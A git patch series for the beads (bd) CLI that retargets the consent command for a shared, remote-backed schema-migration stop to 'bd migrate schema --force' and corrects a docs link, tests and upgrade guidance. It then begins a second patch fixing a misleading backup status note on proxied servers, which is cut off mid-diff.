Subject: [PATCH 068/624] fix(schema,docs): make the shared data-behind consent step runnable (#6692) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Post-merge review of #6658 (landed as 5b9e938b5) found two guidance defects in the #6575 data-behind stop. The gate itself is correct; both are in the remedy chain it prints. 1. The shared arm prescribed `bd migrate schema`, which cannot succeed in the state that prints it. A data-behind refusal has a remote by construction — behind-ness is read from `remotes//` — and the verb consent (`sharedMigrateConsent`) has exactly one reader, inside `sharedNoRemoteGate`, reachable only on the `!hasRemote` branch. So after the pull the retry routed `smartAutoMigrate -> shared -> fallbackReasonSharedStore`, whose blunt body prescribes the `bd migrate --force` the data-behind body explicitly says not to use. The option, `dataBehindBody`, `AgentDirective`, `fallbackReasonNote` and both `--global` retargets now name `bd migrate schema --force`, which trips `forceOrEnvConsent` via `isForcedMigrate`. Retargeting the command rather than widening the consent read is deliberate: with a remote configured, #4259's cross-clone fork risk still demands the designated-migrator confirmation, which is what `sharedNoRemoteGate`'s own comment says the scoping is for. 2. The JSON payload's `docs` pointer stayed on the migrate-or-adopt anchor, whose ordering rule says `bd dolt pull` is refused on every pending-migration open — contradicting the `pull-first` option in the same payload. The `IsDataBehind()` arm now points at a new "Clone behind the remote" section, and the two living ordering rules (upgrading.md, init-safety.md) record the exception. Tests: the consent step is now checked by running it — the command is taken from `Options()`, resolved through the same cobra lookup and predicates the root pre-run uses, and fed to the real gate against a remote-backed shared fixture, with the shipped bare verb as the counterfactual. Asserting the option's wording is what let the dead command ship. `docs` is pinned in `TestHandleRemoteMigrateGateJSON_DataBehind`. Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 10 +- cmd/bd/main.go | 18 +- cmd/bd/remote_migrate_gate.go | 39 ++++- cmd/bd/remote_sync_open_test.go | 14 +- cmd/bd/shared_migrate_consent_test.go | 163 +++++++++++++++++- docs/getting-started/upgrading.md | 58 +++++++ docs/recovery/init-safety.md | 6 +- .../storage/schema/remote_migrate_gate.go | 65 +++++-- .../schema/smart_remote_migrate_gate_test.go | 14 +- 9 files changed, 358 insertions(+), 29 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f8314f936..afcd1058a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -66,7 +66,15 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 step needs an operator who can confirm every co-resident client is upgraded). On a shared Dolt sql-server the guidance still carries #5920's consequence — migrating promotes the schema for every co-resident client — and names the - `bd migrate schema` consent step the retry needs there. + consent step the retry needs there: `bd migrate schema --force`. It is the + forced form because this stop always has a remote configured (behind-ness is + read from the remote-tracking ref), and the bare `bd migrate schema` consent + is only read for a shared database with *no* remote; the flag consents to + migrating a remote-backed shared store, and by then the pull has landed the + commits the clone was missing. The payload's `docs` link points at the + data-behind section rather than the migrate-or-adopt recipe, and that + section — plus the upgrade and init-safety ordering rules — now records the + `bd dolt pull` exception instead of stating the pull is always refused. Both existing escape hatches are unchanged: `bd migrate --force` / `BD_ALLOW_REMOTE_MIGRATE=1` are still consulted before the smart gate, and diff --git a/cmd/bd/main.go b/cmd/bd/main.go index b8992a950..53d341d40 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -360,15 +360,27 @@ func isForcedMigrate(cmd *cobra.Command) bool { // open targets `beads_global`, so the block's `bd migrate schema` would // migrate the PROJECT database and leave the refusal in place — the working // remedy is the same verb with the same flag. -func printGlobalDatabaseConsentHint(w io.Writer) { +// +// It takes the refusal because "the same verb" is not the same verb on every +// arm: the #6575 data-behind stop on a shared store is remote-backed by +// construction, and there the bare verb's consent is never read (see +// schema.SharedConsentCommandForced), so retargeting the bare form would hand +// the operator a global-scoped command that still cannot succeed. This mirrors +// the retarget in handleRemoteMigrateGateJSON. A nil error keeps the +// pre-existing bare-verb wording. +func printGlobalDatabaseConsentHint(w io.Writer, e *schema.RemoteMigrateGateError) { if !globalFlag { return } + consent := schema.SharedConsentCommandGlobal + if e != nil && e.IsDataBehind() && e.Shared { + consent = schema.SharedConsentCommandForcedGlobal + } fmt.Fprintf(w, "\n This command targeted the global database (--global), so run the\n"+ " migrate step with the same flag:\n"+ " %s\n", - schema.SharedConsentCommandGlobal) + consent) } // renderTypedOpenError prints the actionable block for the store-open failures @@ -398,7 +410,7 @@ func renderTypedOpenError(err error) bool { handleRemoteMigrateGateJSON(gateErr) } else { fmt.Fprint(os.Stderr, gateErr.UserMessage()) - printGlobalDatabaseConsentHint(os.Stderr) + printGlobalDatabaseConsentHint(os.Stderr, gateErr) } return true } diff --git a/cmd/bd/remote_migrate_gate.go b/cmd/bd/remote_migrate_gate.go index eb0a2fb97..909466c41 100644 --- a/cmd/bd/remote_migrate_gate.go +++ b/cmd/bd/remote_migrate_gate.go @@ -16,6 +16,13 @@ const ( // database, many clients of one server, and the question is whether they // are all upgraded. sharedServersDocsURL = "https://github.com/gastownhall/beads/blob/main/docs/getting-started/upgrading.md#shared-servers" + // dataBehindDocsURL covers the #6575 data-behind stop. It needs its own + // anchor for the same reason sharedServersDocsURL does: the remote-backed + // section's recipe is migrate-or-adopt coordination, and its ordering rule + // says `bd dolt pull` is refused on every pending-migration open — which is + // exactly the command this stop's options prescribe. An agent following the + // default link would be steered off the one command that works. + dataBehindDocsURL = "https://github.com/gastownhall/beads/blob/main/docs/getting-started/upgrading.md#clone-behind-the-remote" ) // humanDecisionRequired reports whether this refusal is one an agent must stop @@ -87,12 +94,13 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { if globalFlag { sharedConsent = schema.SharedConsentCommandGlobal } - // The #6575 data-behind stop on a SHARED store carries the same consent - // verb in its second option (migrate-shared-after-pulling), so it needs - // the same retarget: under --global the project-scoped verb would - // consent the wrong database and leave the refusal in place. It reaches - // here through the default arm (empty Decision), so the Decision test - // alone would miss it. + // The #6575 data-behind stop on a SHARED store carries a consent verb in + // its second option (migrate-shared-after-pulling) too — the forced one, + // since that stop is always remote-backed — so it needs the same + // retarget: under --global the project-scoped verb would consent the + // wrong database and leave the refusal in place. It reaches here through + // the default arm (empty Decision), so the Decision test alone would + // miss it. retargetShared := globalFlag && (e.Decision == "shared-no-remote" || (e.IsDataBehind() && e.Shared)) opts := make([]map[string]interface{}, 0, len(e.Options())) @@ -105,9 +113,17 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { // "expected" would still hand it the wrong-target command. retargeted := make([]string, len(commands)) for i, c := range commands { - if c == schema.SharedConsentCommand { + switch c { + case schema.SharedConsentCommand: retargeted[i] = schema.SharedConsentCommandGlobal - } else { + case schema.SharedConsentCommandForced: + // The data-behind arm's consent step is the FORCED verb (that + // stop is remote-backed by construction, where the bare verb's + // consent is never read), so it needs its own global form — + // matching only the bare verb would leave this option pointing + // at the project database. + retargeted[i] = schema.SharedConsentCommandForcedGlobal + default: retargeted[i] = c } } @@ -193,6 +209,13 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { } gate["observed"] = observed gate["expected"] = "run `" + schema.DataBehindRemedyCommand + "` first; the migration is only allowed once this clone has nothing left to pull" + // The docs pointer is set once above alongside the blunt + // observed/expected pair, and has to move with them: the section it + // names tells the reader `bd dolt pull` is refused on every + // pending-migration open, which contradicts the single option this + // payload carries. Same move, for the same reason, as + // shared-no-remote's retarget above. + gate["docs"] = dataBehindDocsURL } } m["remote_migrate_gate"] = gate diff --git a/cmd/bd/remote_sync_open_test.go b/cmd/bd/remote_sync_open_test.go index 2059b682d..286858744 100644 --- a/cmd/bd/remote_sync_open_test.go +++ b/cmd/bd/remote_sync_open_test.go @@ -142,6 +142,14 @@ func TestHandleRemoteMigrateGateJSON_DataBehind(t *testing.T) { if strings.Contains(expected, "designated clone migrates") { t.Errorf("expected = %q, still the blunt migrate-or-adopt framing", expected) } + // The docs pointer is part of the same payload and was the one + // field the observed/expected rewrite left behind: the default + // anchor's ordering rule says `bd dolt pull` is refused on every + // pending-migration open, contradicting the option above. Pin it + // so the next rewrite of this arm cannot drop the pointer again. + if got, _ := obj["docs"].(string); got != dataBehindDocsURL { + t.Errorf("docs = %v, want the data-behind anchor %q", obj["docs"], dataBehindDocsURL) + } // options must be the single measured remedy, and must not hand an // agent either of the two dead ends. rawOpts, ok := obj["options"].([]interface{}) @@ -212,8 +220,10 @@ func TestHandleRemoteMigrateGateJSON_DataBehind(t *testing.T) { } consent, _ := rawOpts[1].(map[string]interface{}) cmds, _ := consent["commands"].([]interface{}) - if len(cmds) != 1 || cmds[0] != schema.SharedConsentCommandGlobal { - t.Errorf("consent option commands = %v, want [%q] under --global", cmds, schema.SharedConsentCommandGlobal) + // The forced form, not the bare one: this stop is remote-backed by + // construction and the bare verb's consent is never read there. + if len(cmds) != 1 || cmds[0] != schema.SharedConsentCommandForcedGlobal { + t.Errorf("consent option commands = %v, want [%q] under --global", cmds, schema.SharedConsentCommandForcedGlobal) } // The pull is target-agnostic and must NOT be rewritten. pull, _ := rawOpts[0].(map[string]interface{}) diff --git a/cmd/bd/shared_migrate_consent_test.go b/cmd/bd/shared_migrate_consent_test.go index ada15c28a..4181bd02e 100644 --- a/cmd/bd/shared_migrate_consent_test.go +++ b/cmd/bd/shared_migrate_consent_test.go @@ -2,12 +2,15 @@ package main import ( "bytes" + "context" "io" "os" "strings" "testing" + sqlmock "github.com/DATA-DOG/go-sqlmock" "github.com/spf13/cobra" + "github.com/spf13/pflag" "github.com/steveyegge/beads/internal/storage/schema" ) @@ -189,17 +192,173 @@ func TestPrintGlobalDatabaseConsentHint(t *testing.T) { orig := globalFlag defer func() { globalFlag = orig }() + sharedNoRemote := &schema.RemoteMigrateGateError{ + CurrentVersion: 65, LatestVersion: 66, Pending: 1, + Decision: "shared-no-remote", Shared: true, + } + globalFlag = false var off bytes.Buffer - printGlobalDatabaseConsentHint(&off) + printGlobalDatabaseConsentHint(&off, sharedNoRemote) if off.Len() != 0 { t.Errorf("no hint without --global, got:\n%s", off.String()) } globalFlag = true var on bytes.Buffer - printGlobalDatabaseConsentHint(&on) + printGlobalDatabaseConsentHint(&on, sharedNoRemote) if !strings.Contains(on.String(), schema.SharedConsentCommandGlobal) { t.Errorf("hint must name %q:\n%s", schema.SharedConsentCommandGlobal, on.String()) } + + // The data-behind stop on a shared store is the arm where "the same verb + // with the same flag" is not enough: it is remote-backed by construction, + // so the bare verb's consent is never read and a --global rewrite of it is + // still a command that cannot succeed. Mirrors the JSON retarget. + var behind bytes.Buffer + printGlobalDatabaseConsentHint(&behind, &schema.RemoteMigrateGateError{ + CurrentVersion: 66, LatestVersion: 67, Pending: 1, + FallbackReason: "data-behind", Shared: true, + }) + if !strings.Contains(behind.String(), schema.SharedConsentCommandForcedGlobal) { + t.Errorf("the shared data-behind hint must name %q:\n%s", + schema.SharedConsentCommandForcedGlobal, behind.String()) + } +} + +// expectRemoteBackedSharedProbe mocks the probe sequence a shared, +// remote-backed store makes before the gate decides: CurrentVersion, then +// PendingVersions (both a cursor probe plus a max-version read), then the +// remote count. With the smart router pinned off, no further query follows +// either outcome, so an unmet expectation means the gate took a path this test +// does not describe. +func expectRemoteBackedSharedProbe(mock sqlmock.Sqlmock) { + for i := 0; i < 2; i++ { + mock.ExpectQuery(`SELECT COUNT\(\*\) FROM information_schema\.tables`). + WithArgs("schema_migrations"). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + mock.ExpectQuery(`SELECT COALESCE\(MAX\(version\), 0\) FROM schema_migrations`). + WillReturnRows(sqlmock.NewRows([]string{"version"}).AddRow(1)) + } + mock.ExpectQuery(`SELECT COUNT\(\*\) FROM dolt_remotes`). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) +} + +// runPrescribedConsent replays the root PersistentPreRunE for one command line +// and reports what the real shared gate does afterwards on a remote-backed +// store. It resolves the command through the same cobra lookup the pre-run +// uses and feeds it to the same two predicates, so a command string that is +// not actually the consenting verb cannot pass by looking like one. +func runPrescribedConsent(t *testing.T, cmdline string) error { + t.Helper() + t.Setenv(schema.SmartGateEnv, "0") + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + + args := strings.Fields(strings.TrimPrefix(cmdline, "bd ")) + target, rest, err := rootCmd.Find(args) + if err != nil { + t.Fatalf("the gate prescribes %q, which does not resolve to a command: %v", cmdline, err) + } + if target == rootCmd { + t.Fatalf("the gate prescribes %q, which resolves to bare bd", cmdline) + } + if err := target.ParseFlags(rest); err != nil { + t.Fatalf("the gate prescribes %q, whose flags do not parse: %v", cmdline, err) + } + t.Cleanup(func() { + // These cobra commands are package-level singletons, so a parsed flag + // outlives the test that parsed it and would silently consent for the + // next one. + target.Flags().VisitAll(func(f *pflag.Flag) { + if !f.Changed { + return + } + _ = f.Value.Set(f.DefValue) + f.Changed = false + }) + schema.SetForceAllowRemoteMigrate(false) + schema.SetSharedMigrateConsent(false) + }) + + // The two lines the root pre-run runs, verbatim in effect. + schema.SetForceAllowRemoteMigrate(isForcedMigrate(target)) + schema.SetSharedMigrateConsent(isSchemaMigrateVerb(target) && !isPreviewCommand(target)) + + db, mock, err := sqlmock.New() + if err != nil { + t.Fatal(err) + } + defer db.Close() + expectRemoteBackedSharedProbe(mock) + + var gateErr error + _ = captureNoticeStderr(t, func() { + gateErr = schema.CheckSharedStoreMigrateGate(context.Background(), db, "", nil, nil) + }) + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations for %q: %v", cmdline, err) + } + return gateErr +} + +// TestDataBehindSharedConsentCommandUnlocks is the executing twin of +// TestSharedRefusalPrescribesAWorkingVerb, for the #6575 data-behind stop on a +// shared store — the one arm where the structural pairing that test checks is +// not enough. +// +// That stop always has a remote configured (behind-ness is read from the +// remote-tracking ref), and on the remote-backed arm the bare verb's consent +// is never read: schema.sharedMigrateConsent has a single reader, inside +// sharedNoRemoteGate, which is reachable only when no remote is configured. +// So the option this refusal carries has to be checked by RUNNING its consent +// path. Asserting its wording is exactly what let a dead command ship: the +// pre-existing tests pinned the option's text and passed throughout. +// +// The command under test is taken from Options() rather than written out here, +// so this stays a test of whatever the gate actually prescribes. +func TestDataBehindSharedConsentCommandUnlocks(t *testing.T) { + behindShared := &schema.RemoteMigrateGateError{ + CurrentVersion: 66, LatestVersion: 67, Pending: 1, + FallbackReason: "data-behind", Shared: true, + } + + opts := behindShared.Options() + if len(opts) != 2 || opts[1].ID != "migrate-shared-after-pulling" || len(opts[1].Commands) != 1 { + t.Fatalf("Options() = %+v, want pull-first then a single-command consent step", opts) + } + prescribed := opts[1].Commands[0] + + t.Run("the prescribed command unlocks the post-pull retry", func(t *testing.T) { + if err := runPrescribedConsent(t, prescribed); err != nil { + t.Fatalf("the gate prescribes %q for this state, but running its consent path still refuses: %v", + prescribed, err) + } + }) + + // The counterfactual, and the regression pin: the command that shipped. + // If this ever passes, the consent read has moved and the option above can + // go back to the bare verb. + t.Run("the bare verb does not, which is why the option carries --force", func(t *testing.T) { + err := runPrescribedConsent(t, schema.SharedConsentCommand) + if err == nil { + t.Fatal("the bare verb now unlocks a remote-backed shared store; revisit SharedConsentCommandForced") + } + if !schema.IsRemoteMigrateGateError(err) { + t.Fatalf("want the gate refusal, got %T: %v", err, err) + } + }) + + // Every surface that names a consent command for this stop must name the + // one just executed — the finding was four surfaces agreeing on a dead + // command, so agreement alone is not the property worth pinning. + t.Run("the prose surfaces name the executed command", func(t *testing.T) { + for name, surface := range map[string]string{ + "UserMessage": behindShared.UserMessage(), + "AgentDirective": behindShared.AgentDirective(), + } { + if !strings.Contains(surface, prescribed) { + t.Errorf("%s does not name the prescribed consent command %q:\n%s", name, prescribed, surface) + } + } + }) } diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index 0a58320c2..3005b09f1 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -257,6 +257,14 @@ pending migrations is gated on **every** open — `bd dolt push` and `bd dolt pull` are refused too, not just `bd migrate`. So do all syncing with your **current** binary, *before* you install the new one. +There is one exception, and the gate names it when it applies: if the stop is +the *data-behind* one — this clone is level with the remote on schema but is +missing commits it has not pulled — then `bd dolt pull` is the remedy and is +allowed through, because migrating before that pull is what wedges the clone. +See [Clone behind the remote](#clone-behind-the-remote). Every other +pending-migration refusal still blocks the pull, so the ordering rule above is +what to plan for. + **Back up before you migrate.** Schema migrations assume the database matches the shape the previous migrations left behind; real databases sometimes drift (interrupted writes, tooling bugs, very old bootstraps). A JSONL export is @@ -324,6 +332,56 @@ schema against the cached remote ref — a useful post-upgrade verification. It runs in both server and embedded modes. +### Clone behind the remote + +This is the one pending-migration stop whose remedy is a `bd dolt pull`, and +the one the gate links here rather than to the migrate-or-adopt recipe above. + +It fires when the clone is **level with the remote on schema but behind it in +data** — the remote has commits this clone has not pulled. On schema alone the +clone looks like a safe first-mover, so before +[#6575](https://github.com/gastownhall/beads/issues/6575) the gate let it +migrate; the new schema commits then landed on a history missing those +commits, and once a migration moves a tracked table onto Dolt's ignore plane +every later `bd dolt pull` refuses to merge +([#6368](https://github.com/gastownhall/beads/issues/6368)). The clone can no +longer fetch what it was already behind on. + +The remedy is the pull, and nothing else: + +```bash +bd dolt pull # allowed through this stop, unlike other refusals +# then re-run the command that was refused +``` + +Nothing local is discarded: with no commits of its own the pull is a pure +fast-forward, and if the clone has diverged the pull merges (resolve any +conflicts, or decide them in bulk with `bd dolt pull --strategy ours|theirs` +on embedded storage / `bd conflicts resolve` on a server store). Once there is +nothing left to pull, the clone is the first-mover it looked like and the +migration proceeds on its own. + +Do **not** force past this stop. `bd migrate --force` applies the migration +while the clone is still behind — precisely the state the stop exists to +prevent — and the `bd dolt push` that would follow is rejected as a +non-fast-forward anyway. + +**On a shared server**, the pull is still the first step, but the migration +after it needs explicit consent, because it promotes the schema for every +co-resident client at once (see [Shared servers](#shared-servers)). Confirm +those clients are upgraded, then: + +```bash +bd dolt pull # first, as above +bd migrate schema --force # add --global for the shared global database +``` + +`--force` is the consent form here because this stop always has a remote +configured — the behind-ness is read from the remote-tracking ref — and the +bare `bd migrate schema` consent applies only to a shared database with *no* +remote. It is safe at this point and only at this point: the pull has already +landed the commits the clone was missing. + ### Shared servers A server-mode database is served to every `bd` client connected to that diff --git a/docs/recovery/init-safety.md b/docs/recovery/init-safety.md index dec576d2d..7bb4811f4 100644 --- a/docs/recovery/init-safety.md +++ b/docs/recovery/init-safety.md @@ -284,7 +284,11 @@ remote already has are skipped. Spot-check with `bd stats` afterwards. - **Sync before upgrading**: `bd dolt push` + `bd dolt pull` on every clone while all clones still run the *old* version, then stop editing. Once the new binary is installed, `bd dolt push`/`bd dolt pull` are gated too, so this must - happen first. + happen first. The one exception is the *data-behind* stop — a clone level on + schema but missing commits the remote has — where `bd dolt pull` **is** the + remedy and is allowed through; the gate says so when it fires, and + [Clone behind the remote](/getting-started/upgrading#clone-behind-the-remote) + has the recipe. Plan for the rule, not the exception. - **One designated migrator**: upgrade one machine, let it migrate, then `bd dolt push`. - **Every other clone adopts, does not pull**: after the migrator pushes, each diff --git a/internal/storage/schema/remote_migrate_gate.go b/internal/storage/schema/remote_migrate_gate.go index 5a881d7fe..5ca3d2a15 100644 --- a/internal/storage/schema/remote_migrate_gate.go +++ b/internal/storage/schema/remote_migrate_gate.go @@ -283,7 +283,7 @@ func (e *RemoteMigrateGateError) fallbackReasonNote() string { // lockout; data-behind now outranks it, so without this clause the // operator loses the warning that promoting the schema on a shared // server locks out every co-resident client still on an older bd. - why += " — but on this shared store the migrate still needs explicit consent (`" + SharedConsentCommand + "`), because it promotes the schema for every co-resident bd client at once and clients still on an older binary will refuse this database until they are upgraded (#5920)" + why += " — but on this shared store the migrate still needs explicit consent (`" + SharedConsentCommandForced + "`), because it promotes the schema for every co-resident bd client at once and clients still on an older binary will refuse this database until they are upgraded (#5920)" } default: return "" @@ -327,15 +327,19 @@ func (e *RemoteMigrateGateError) dataBehindBody() string { " Then re-run what you just ran.\n" if e.Shared { // #5920: on a shared store the first-mover auto-migrate stays - // suppressed after the pull, so the retry needs the consent verb. + // suppressed after the pull, so the retry needs explicit consent. // Saying "it proceeds on its own" here would loop the operator. + // The command is the FORCED verb, not the bare one: this stop always + // has a remote (that is where behind-ness is read from), and the bare + // verb's consent is only read on the no-remote arm — see + // SharedConsentCommandForced. body += "" + " This database is served to co-resident bd clients, so the migration itself\n" + " still needs explicit consent afterwards — it promotes the schema for EVERY\n" + " client at once, and clients still on an older bd will refuse this database\n" + - " until they are upgraded (#5920):\n" + - " " + SharedConsentCommand + "\n" + - " (" + SharedConsentCommandGlobal + " for the shared global database)\n" + " until they are upgraded (#5920). Once the pull above has completed:\n" + + " " + SharedConsentCommandForced + "\n" + + " (" + SharedConsentCommandForcedGlobal + " for the shared global database)\n" } else { body += "" + " The migration then runs on its own: with nothing left to pull, this clone\n" + @@ -347,6 +351,14 @@ func (e *RemoteMigrateGateError) dataBehindBody() string { " while this clone is still behind — the exact state this stop exists to\n" + " prevent — and the `bd dolt push` that would follow is rejected as a\n" + " non-fast-forward, because the clone is still missing the remote's commits.\n" + if e.Shared { + // The consent command this arm prescribes is itself a forced migrate, + // so the warning above has to say what makes that one different: the + // pull having already landed, not the flag. + body += "" + + " The same goes for the consent command above until the pull has finished:\n" + + " what makes it safe is that there is nothing left to pull by then.\n" + } return body } @@ -473,9 +485,10 @@ func (e *RemoteMigrateGateError) AgentDirective() string { d += " This clone has no commits of its own, so that pull is a pure fast-forward and discards nothing." } if e.Shared { - d += " After the pull the migration still needs the operator's explicit consent (" + SharedConsentCommand + - "): this database is shared with co-resident bd clients and migrating promotes the schema for all of " + - "them at once (#5920). Do NOT auto-run it." + d += " After the pull the migration still needs the operator's explicit consent (" + SharedConsentCommandForced + + " — this store is remote-backed, so the bare verb does not unlock it; see SharedConsentCommandForced): " + + "this database is shared with co-resident bd clients and migrating promotes the schema for all of " + + "them at once (#5920). Do NOT auto-run it, and do NOT run it before the pull has completed." } else { d += " After the pull, re-running the original command migrates on its own; nothing else is needed." } @@ -564,12 +577,16 @@ func (e *RemoteMigrateGateError) Options() []GateOption { if e.Shared { // The pull itself is still safe; what the shared store changes is // what happens AFTER it, so the consent step becomes a second - // option rather than a footnote on the first (#5920). + // option rather than a footnote on the first (#5920). It carries + // the FORCED verb because this stop is always remote-backed and + // the bare verb's consent is read only on the no-remote arm — an + // option whose command cannot succeed in the state that printed it + // is worse than no option (see SharedConsentCommandForced). return []GateOption{pull, { ID: "migrate-shared-after-pulling", When: "the pull above has completed AND every co-resident bd client of this server is upgraded to this binary (confirmed with the operator)", - Commands: []string{SharedConsentCommand}, - Risk: "co-resident clients still on an older bd will refuse this database until upgraded; running it before the pull completes is the wedge this stop prevents", + Commands: []string{SharedConsentCommandForced}, + Risk: "co-resident clients still on an older bd will refuse this database until upgraded; running it before the pull completes is the wedge this stop prevents. Its --force consents to migrating a remote-backed shared store (the bare verb's consent is read only with no remote configured); it does not make migrating while behind safe", }} } return []GateOption{pull} @@ -974,6 +991,32 @@ const SharedConsentCommand = "bd migrate schema" // migrates the wrong one. const SharedConsentCommandGlobal = SharedConsentCommand + " --global" +// SharedConsentCommandForced is the consent command for a shared database that +// IS remote-backed. Every #6575 data-behind stop is in that state by +// construction — behind-ness is read from `remotes//`, so there +// is always a remote — and there the bare verb above is a dead end: +// sharedMigrateConsent has exactly one reader, sharedNoRemoteGate, which +// checkRemoteMigrateGate reaches only on the !hasRemote branch. With a remote +// configured the retry routes through forceOrEnvConsent instead, so typing the +// bare verb sets a consent nothing reads and the operator lands on the blunt +// shared-store refusal, whose body prescribes the `bd migrate --force` this +// stop's own body tells them not to use. +// +// The fix is deliberately the command, not the gate: widening +// sharedNoRemoteGate's verb consent to the remote-backed arm would drop the +// designated-migrator confirmation that #4259's cross-clone fork risk demands +// whenever a remote exists, which is the very thing sharedNoRemoteGate's +// comment says is intentional. `--force` is what forceOrEnvConsent honors, and +// the CLI accepts it on this verb (cmd/bd.isForcedMigrate covers both +// `bd migrate` and `bd migrate schema`), so this is the narrowest command that +// still names the schema migration AND actually unlocks the retry. +const SharedConsentCommandForced = SharedConsentCommand + " --force" + +// SharedConsentCommandForcedGlobal is SharedConsentCommandForced aimed at the +// shared global database, for the same reason SharedConsentCommandGlobal +// exists. +const SharedConsentCommandForcedGlobal = SharedConsentCommandGlobal + " --force" + // sharedNoRemoteGate decides the shared-store-without-a-remote arm // (gastownhall/beads#5920). There is no remote, so none of the #4259 // migrate-vs-adopt machinery applies: the only question is whether the diff --git a/internal/storage/schema/smart_remote_migrate_gate_test.go b/internal/storage/schema/smart_remote_migrate_gate_test.go index 55375c8c1..bc3bbc4b7 100644 --- a/internal/storage/schema/smart_remote_migrate_gate_test.go +++ b/internal/storage/schema/smart_remote_migrate_gate_test.go @@ -1246,11 +1246,23 @@ func TestDataBehindRemedySurfaces(t *testing.T) { // fallbackReasonSharedStore (whose note carried them) and Options()' // sharedRisk only ever decorated the adopt option. msg := base(true, false).UserMessage() - for _, want := range []string{"co-resident", "#5920", SharedConsentCommand} { + for _, want := range []string{"co-resident", "#5920", SharedConsentCommandForced} { if !strings.Contains(msg, want) { t.Errorf("shared data-behind message is missing %q:\n%s", want, msg) } } + // This stop always has a remote (that is where behind-ness is read + // from), so the bare verb is a dead end here: its consent is read only + // by sharedNoRemoteGate, on the !hasRemote branch. Asserting the forced + // form above is not enough — every forced form CONTAINS the bare form + // as a substring, so a regression to the bare verb would still satisfy + // it. Remove the forms that do work, then require nothing prescribing + // the bare one is left. + scrubbed := strings.ReplaceAll(msg, SharedConsentCommandForcedGlobal, "") + scrubbed = strings.ReplaceAll(scrubbed, SharedConsentCommandForced, "") + if strings.Contains(scrubbed, SharedConsentCommand) { + t.Errorf("shared data-behind message prescribes the bare verb, which cannot succeed with a remote configured:\n%s", msg) + } if strings.Contains(msg, "proceeds on its own") { t.Errorf("a shared store must not be promised an automatic retry:\n%s", msg) } From e677d90d88b771e985f5eb838f9346777828194e Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 23 Sep 2026 18:53:16 -0700 Subject: [PATCH 069/624] fix(backup): stop attributing proxied auto-backup OFF to a missing git remote (#6694) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Post-merge review of #6584 (landed 7ccb961f7..c69dd3061). Honoring the backup family on a managed-local proxied server made `bd backup status` reachable on that topology for the first time — and it rendered the embedded-mode footnote `(auto: no git remote)`. That reason was never true there: `isBackupAutoEnabled` returns false because `usesSQLServer()` short-circuits it, whether or not a remote exists. The same command's help then told the operator to set `backup.enabled=true` to opt in, which on proxied changes nothing — the proxied arm of `PersistentPostRunE` never calls `runPostRunAutoBackup`, so an operator following bd's own instructions gets silent no-backup. The status note now comes from `backupAutoStatusNote`, which narrates the reason the decision actually used: proxied-server first (and regardless of the config source, since an explicit `backup.enabled=true` is inert there and a bare `enabled=true` is the misleading half), then sql-server mode — the reason `bd config get backup.enabled` already reports for the same condition — then the unchanged embedded git-remote arms. The `backup` help stops advertising the opt-in on proxied and points at explicit `bd backup sync`, which is honored on the one proxied shape that reaches these surfaces. Wiring an auto-backup hook through the new proxied routes is the other half of the reviewer's fix and is deliberately not taken here: all three reviewers classified the missing hook as a pre-existing gap #6584 did not claim. Only the newly produced misinformation is corrected. `TestBackupAutoStatusNote` pins all seven shapes against the value they are printed beside; reverting the helper to the pre-fix ordering fails exactly the three server-mode cases and leaves the four embedded ones green. --- CHANGELOG.md | 7 ++ cmd/bd/backup.go | 16 ++--- cmd/bd/backup_auto.go | 37 ++++++++++ cmd/bd/backup_auto_test.go | 139 +++++++++++++++++++++++++++++++++++++ 4 files changed, 191 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index afcd1058a..687e28239 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -107,6 +107,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 network from its own environment, which is the same credential question the next slice has to answer for `dolt push`. + Backups on this topology are **explicit only**. Auto-backup has no + post-command hook on the proxied path, so `backup.enabled=true` does nothing + there; `bd backup status` and `bd backup` help now say so instead of + attributing the OFF to a missing git remote, which was never the reason on a + server topology. Wiring an auto-backup hook through the new routes is left to + a later slice. + - **`bd count` supports repeatable `--metadata-field key=value` filters** ([#6023](https://github.com/gastownhall/beads/issues/6023)), so callers can count the same metadata-scoped set `bd list` returns without fetching every diff --git a/cmd/bd/backup.go b/cmd/bd/backup.go index 6e2e40325..270536bcf 100644 --- a/cmd/bd/backup.go +++ b/cmd/bd/backup.go @@ -40,7 +40,12 @@ Auto-backup default: dir and full-sync the whole database — a self-amplifying storm. To back up a shared server, run 'bd backup' explicitly (or set backup.enabled=true and coordinate destinations). 'bd config get backup.enabled' shows the effective - value and its source.`, + value and its source. + + On a proxied-server workspace that opt-in does not apply: auto-backup has + no post-command hook on that path, so backup.enabled=true is inert there. + The five backup verbs above are honored on a managed-local proxied server — + run 'bd backup sync' explicitly to back one up.`, GroupID: "sync", } @@ -126,14 +131,9 @@ func newBackupStatusCommand(sizeDatabase backupSizeFunc) *cobra.Command { // Show config (effective values with source) enabled := isBackupAutoEnabled() interval := config.GetDuration("backup.interval") - enabledSource := config.GetValueSource("backup.enabled") enabledNote := "" - if enabledSource == config.SourceDefault { - if enabled { - enabledNote = " (auto: git remote detected)" - } else { - enabledNote = " (auto: no git remote)" - } + if note := backupAutoStatusNote(enabled); note != "" { + enabledNote = " (" + note + ")" } fmt.Printf("\nConfig: enabled=%v%s interval=%s\n", enabled, enabledNote, interval) diff --git a/cmd/bd/backup_auto.go b/cmd/bd/backup_auto.go index 210bf5299..8974439e2 100644 --- a/cmd/bd/backup_auto.go 